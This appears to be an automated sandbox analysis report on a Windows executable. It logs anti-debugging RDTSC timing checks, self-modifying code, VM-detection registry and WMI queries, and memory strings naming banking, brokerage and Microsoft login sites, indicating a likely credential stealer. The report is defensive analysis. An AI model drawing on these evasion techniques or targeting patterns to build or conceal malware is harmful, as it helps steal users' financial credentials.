Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693F301 second address: 693F326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430C6h 0x00000009 popad 0x0000000a push esi 0x0000000b jnl 00007F48D88430B6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693F326 second address: 693F32B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693F32B second address: 693F359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007F48D88430C3h 0x0000000b jmp 00007F48D88430BDh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jnp 00007F48D88430B6h 0x0000001b jmp 00007F48D88430BAh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693F359 second address: 693F35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693F66A second address: 693F66F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693F8FF second address: 693F914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693FA8A second address: 693FA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693FA8E second address: 693FA9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F48D851E9BAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693FA9E second address: 693FAC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F48D88430B6h 0x0000000f jmp 00007F48D88430BDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 693FAC3 second address: 693FAC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6934D8E second address: 6934DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D88430BFh 0x00000009 jns 00007F48D88430B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69401F2 second address: 6940242 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F48D851E9B6h 0x00000008 jmp 00007F48D851E9C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push esi 0x00000012 js 00007F48D851E9B6h 0x00000018 jmp 00007F48D851E9C1h 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 jmp 00007F48D851E9C1h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6940242 second address: 694024C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F48D88430B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694024C second address: 6940255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6940505 second address: 6940518 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69462FF second address: 6946305 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6946305 second address: 694630B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6944C84 second address: 6944C99 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F48D851E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F48D851E9B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6944C99 second address: 6944CB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69463FF second address: 694641A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D851E9BFh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694641A second address: 694641E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694641E second address: 6946424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6946424 second address: 694643F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F48D88430B6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jbe 00007F48D88430BCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69478E1 second address: 69478EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 690B55A second address: 690B594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C7h 0x00000007 jmp 00007F48D88430C1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F48D88430B6h 0x00000016 jne 00007F48D88430B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 690B594 second address: 690B598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694CC30 second address: 694CC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694CEB7 second address: 694CEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694CEBD second address: 694CEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694CEC6 second address: 694CECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694D21A second address: 694D227 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694D391 second address: 694D396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694D396 second address: 694D3C2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F48D88430BEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F48D88430C8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694D3C2 second address: 694D3DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F48D851E9C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694FD92 second address: 694FD96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694FD96 second address: 694FDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F48D851E9BBh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 694FDB5 second address: 694FE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F48D88430B8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 jmp 00007F48D88430BDh 0x00000026 adc di, E002h 0x0000002b push 2C3EDA48h 0x00000030 pushad 0x00000031 pushad 0x00000032 jmp 00007F48D88430C6h 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69501E0 second address: 69501E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69503D0 second address: 695040F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F48D88430C4h 0x00000008 jmp 00007F48D88430C5h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jmp 00007F48D88430BAh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695040F second address: 6950413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69504F4 second address: 695050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430C2h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6950B5C second address: 6950B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6950B61 second address: 6950B66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6950B66 second address: 6950B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c jp 00007F48D851E9B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6950CE3 second address: 6950CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6951084 second address: 695109B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F48D851E9B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f je 00007F48D851E9B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695109B second address: 69510AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a nop 0x0000000b mov edi, edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69510AF second address: 69510B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69510B3 second address: 69510C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695151B second address: 695153A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007F48D851E9C5h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6955C2D second address: 6955C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6955937 second address: 695593D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695593D second address: 6955958 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F48D88430BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F48D88430B8h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6956334 second address: 695633A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695633A second address: 695633E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695B400 second address: 695B40A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F48D851E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695B40A second address: 695B430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F48D88430B6h 0x0000000b popad 0x0000000c jmp 00007F48D88430C3h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695B430 second address: 695B434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695B434 second address: 695B44B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F48D88430BDh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695B44B second address: 695B451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 4E8BB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 4E603A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 697E33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 71745A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 67ADF58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 697065A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 69E14B8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Special instruction interceptor: First address: 67B3698 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe TID: 7444	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe TID: 7416	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe TID: 7524	Thread sleep time: -390000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe TID: 7428	Thread sleep time: -40020s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000155C000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.000000000155A000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1446118778.000000000155A000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1474082903.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1552560238.000000000155C000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1400126860.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422628800.000000000155A000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496241356.000000000155A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000155C000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.000000000155A000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1446118778.000000000155A000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1474082903.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1552560238.000000000155C000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1400126860.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422628800.000000000155A000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496241356.000000000155A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NVMware2
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: TdloJt4gY3.exe, 00000000.00000003.1422872747.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696503903p

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

Process information queried: ProcessInformation

Jump to behavior

